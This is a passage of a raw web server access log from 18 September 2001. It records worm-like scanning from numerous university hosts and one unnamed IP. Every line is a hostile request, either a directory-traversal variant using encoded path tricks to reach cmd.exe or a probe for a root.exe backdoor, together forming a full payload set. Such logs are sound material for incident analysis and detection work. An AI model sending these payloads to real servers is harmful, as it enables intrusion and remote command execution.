  2566. 20010918 11:21:21: paul-drake.lc.uiuc.edu [128.174.131.15] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2567. 20010918 11:21:21: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2568. 20010918 11:21:21: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2569. 20010918 11:21:21: paul-drake.lc.uiuc.edu [128.174.131.15] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2570. 20010918 11:21:22: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2571. 20010918 11:21:22: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2572. 20010918 11:21:22: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2573. 20010918 11:21:22: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2574. 20010918 11:21:22: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2575. 20010918 11:21:22: paul-drake.lc.uiuc.edu [128.174.131.15] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2576. 20010918 11:21:22: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2577. 20010918 11:21:22: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2578. 20010918 11:21:22: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2579. 20010918 11:21:22: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2580. 20010918 11:21:22: paul-drake.lc.uiuc.edu [128.174.131.15] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2581. 20010918 11:21:22: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2582. 20010918 11:21:22: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2583. 20010918 11:21:22: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2584. 20010918 11:21:22: paul-drake.lc.uiuc.edu [128.174.131.15] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2585. 20010918 11:21:22: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2586. 20010918 11:21:22: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2587. 20010918 11:21:22: paul-drake.lc.uiuc.edu [128.174.131.15] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2588. 20010918 11:21:22: paul-drake.lc.uiuc.edu [128.174.131.15] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2589. 20010918 11:21:23: paul-drake.lc.uiuc.edu [128.174.131.15] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2590. 20010918 11:21:23: paul-drake.lc.uiuc.edu [128.174.131.15] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2591. 20010918 11:21:23: CONF24.CE.UTK.EDU [128.169.232.44] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2592. 20010918 11:22:57: CONF24.CE.UTK.EDU [128.169.232.44] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2593. 20010918 11:22:58: CONF24.CE.UTK.EDU [128.169.232.44] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2594. 20010918 11:22:58: CONF24.CE.UTK.EDU [128.169.232.44] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2595. 20010918 11:22:58: CONF24.CE.UTK.EDU [128.169.232.44] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2596. 20010918 11:22:58: CONF24.CE.UTK.EDU [128.169.232.44] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2597. 20010918 11:22:59: CONF24.CE.UTK.EDU [128.169.232.44] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2598. 20010918 11:22:59: CONF24.CE.UTK.EDU [128.169.232.44] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2599. 20010918 11:22:59: CONF24.CE.UTK.EDU [128.169.232.44] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2600. 20010918 11:23:00: CONF24.CE.UTK.EDU [128.169.232.44] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2601. 20010918 11:23:00: CONF24.CE.UTK.EDU [128.169.232.44] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2602. 20010918 11:23:00: CONF24.CE.UTK.EDU [128.169.232.44] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2603. 20010918 11:23:01: CONF24.CE.UTK.EDU [128.169.232.44] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2604. 20010918 11:23:01: CONF24.CE.UTK.EDU [128.169.232.44] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2605. 20010918 11:23:01: CONF24.CE.UTK.EDU [128.169.232.44] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2606. 20010918 11:23:02: CONF24.CE.UTK.EDU [128.169.232.44] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2607. 20010918 11:23:02: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2608. 20010918 11:23:09: hudson.hksm.columbia.edu [128.59.51.208] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2609. 20010918 11:23:09: hudson.hksm.columbia.edu [128.59.51.208] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2610. 20010918 11:23:09: hudson.hksm.columbia.edu [128.59.51.208] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2611. 20010918 11:23:10: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2612. 20010918 11:23:10: hudson.hksm.columbia.edu [128.59.51.208] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2613. 20010918 11:23:10: hudson.hksm.columbia.edu [128.59.51.208] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2614. 20010918 11:23:10: hudson.hksm.columbia.edu [128.59.51.208] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2615. 20010918 11:23:10: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2616. 20010918 11:23:10: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2617. 20010918 11:23:10: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2618. 20010918 11:23:10: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2619. 20010918 11:23:10: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2620. 20010918 11:23:10: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2621. 20010918 11:23:10: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2622. 20010918 11:23:10: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2623. 20010918 11:23:10: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2624. 20010918 11:23:49: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2625. 20010918 11:23:49: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2626. 20010918 11:23:49: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2627. 20010918 11:23:49: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2628. 20010918 11:23:49: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2629. 20010918 11:23:49: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2630. 20010918 11:23:50: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2631. 20010918 11:23:50: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2632. 20010918 11:23:50: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2633. 20010918 11:23:50: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2634. 20010918 11:23:50: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2635. 20010918 11:23:50: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2636. 20010918 11:23:50: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2637. 20010918 11:23:50: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2638. 20010918 11:23:50: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2639. 20010918 11:23:50: CAREER17.ASA.UTK.EDU [128.169.32.128] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2640. 20010918 11:25:31: CAREER17.ASA.UTK.EDU [128.169.32.128] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2641. 20010918 11:25:31: CAREER17.ASA.UTK.EDU [128.169.32.128] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2642. 20010918 11:25:31: CAREER17.ASA.UTK.EDU [128.169.32.128] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2643. 20010918 11:25:32: CAREER17.ASA.UTK.EDU [128.169.32.128] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2644. 20010918 11:25:35: CAREER17.ASA.UTK.EDU [128.169.32.128] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2645. 20010918 11:25:35: CAREER17.ASA.UTK.EDU [128.169.32.128] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2646. 20010918 11:25:36: CAREER17.ASA.UTK.EDU [128.169.32.128] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2647. 20010918 11:25:36: CAREER17.ASA.UTK.EDU [128.169.32.128] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2648. 20010918 11:25:36: CAREER17.ASA.UTK.EDU [128.169.32.128] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2649. 20010918 11:25:36: CAREER17.ASA.UTK.EDU [128.169.32.128] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2650. 20010918 11:25:40: CAREER17.ASA.UTK.EDU [128.169.32.128] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2651. 20010918 11:25:40: CAREER17.ASA.UTK.EDU [128.169.32.128] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2652. 20010918 11:25:41: CAREER17.ASA.UTK.EDU [128.169.32.128] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2653. 20010918 11:25:41: CAREER17.ASA.UTK.EDU [128.169.32.128] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2654. 20010918 11:25:41: CAREER17.ASA.UTK.EDU [128.169.32.128] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2655. 20010918 11:25:41: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2656. 20010918 11:26:31: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2657. 20010918 11:26:31: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2658. 20010918 11:26:31: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2659. 20010918 11:26:31: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2660. 20010918 11:26:31: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2661. 20010918 11:26:31: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2662. 20010918 11:26:31: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2663. 20010918 11:26:31: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2664. 20010918 11:26:31: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2665. 20010918 11:26:31: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2666. 20010918 11:26:31: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2667. 20010918 11:26:31: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2668. 20010918 11:26:31: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2669. 20010918 11:26:31: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2670. 20010918 11:26:31: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2671. 20010918 11:26:31: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2672. 20010918 11:28:05: ecom.gsb.columbia.edu [128.59.205.95] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2673. 20010918 11:28:05: ecom.gsb.columbia.edu [128.59.205.95] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2674. 20010918 11:28:05: ecom.gsb.columbia.edu [128.59.205.95] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2675. 20010918 11:28:05: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2676. 20010918 11:28:05: ecom.gsb.columbia.edu [128.59.205.95] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2677. 20010918 11:28:05: ecom.gsb.columbia.edu [128.59.205.95] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2678. 20010918 11:28:05: ecom.gsb.columbia.edu [128.59.205.95] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2679. 20010918 11:28:05: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2680. 20010918 11:28:06: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2681. 20010918 11:28:06: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2682. 20010918 11:28:06: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2683. 20010918 11:28:06: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2684. 20010918 11:28:06: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2685. 20010918 11:28:06: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2686. 20010918 11:28:06: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2687. 20010918 11:28:06: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2688. 20010918 11:29:59: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2689. 20010918 11:29:59: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2690. 20010918 11:29:59: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2691. 20010918 11:29:59: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2692. 20010918 11:30:00: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2693. 20010918 11:30:00: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2694. 20010918 11:30:00: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2695. 20010918 11:30:00: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2696. 20010918 11:30:00: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2697. 20010918 11:30:00: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2698. 20010918 11:30:00: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2699. 20010918 11:30:00: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2700. 20010918 11:30:00: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2701. 20010918 11:30:00: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2702. 20010918 11:30:00: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2703. 20010918 11:30:00: fern-220.dhcp.umass.edu [128.119.124.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2704. 20010918 11:32:27: fern-220.dhcp.umass.edu [128.119.124.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2705. 20010918 11:32:27: fern-220.dhcp.umass.edu [128.119.124.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2706. 20010918 11:32:28: fern-220.dhcp.umass.edu [128.119.124.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2707. 20010918 11:32:28: fern-220.dhcp.umass.edu [128.119.124.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2708. 20010918 11:32:28: fern-220.dhcp.umass.edu [128.119.124.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2709. 20010918 11:32:29: fern-220.dhcp.umass.edu [128.119.124.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2710. 20010918 11:32:29: fern-220.dhcp.umass.edu [128.119.124.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2711. 20010918 11:32:29: fern-220.dhcp.umass.edu [128.119.124.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2712. 20010918 11:32:30:  [203.197.237.163] ""
  2713. 20010918 11:32:57: fern-220.dhcp.umass.edu [128.119.124.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2714. 20010918 11:32:57: fern-220.dhcp.umass.edu [128.119.124.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2715. 20010918 11:32:57: fern-220.dhcp.umass.edu [128.119.124.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2716. 20010918 11:32:57: fern-220.dhcp.umass.edu [128.119.124.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2717. 20010918 11:32:58: fern-220.dhcp.umass.edu [128.119.124.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2718. 20010918 11:32:58: fern-220.dhcp.umass.edu [128.119.124.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2719. 20010918 11:32:58: fern-220.dhcp.umass.edu [128.119.124.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2720. 20010918 11:32:59:  [203.197.237.163] ""
  2721. 20010918 11:33:28:  [203.197.237.163] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2722. 20010918 11:33:48:  [203.197.237.163] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2723. 20010918 11:34:10:  [203.197.237.163] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2724. 20010918 11:34:30:  [203.197.237.163] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2725. 20010918 11:35:00:  [203.197.237.163] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2726. 20010918 11:35:23:  [203.197.237.163] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2727. 20010918 11:35:46: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2728. 20010918 11:35:46: nm-server.jrn.columbia.edu [128.59.96.53] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2729. 20010918 11:35:46: nm-server.jrn.columbia.edu [128.59.96.53] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2730. 20010918 11:35:46: nm-server.jrn.columbia.edu [128.59.96.53] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2731. 20010918 11:35:46: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2732. 20010918 11:35:46: nm-server.jrn.columbia.edu [128.59.96.53] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2733. 20010918 11:35:47: nm-server.jrn.columbia.edu [128.59.96.53] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2734. 20010918 11:35:47: nm-server.jrn.columbia.edu [128.59.96.53] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2735. 20010918 11:35:47: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2736. 20010918 11:35:47: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2737. 20010918 11:35:47: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2738. 20010918 11:35:47: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2739. 20010918 11:35:47: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2740. 20010918 11:35:47: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2741. 20010918 11:35:47: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2742. 20010918 11:35:47: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2743. 20010918 11:35:47:  [203.197.237.163] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2744. 20010918 11:36:06:  [203.197.237.163] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2745. 20010918 11:36:25:  [203.197.237.163] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
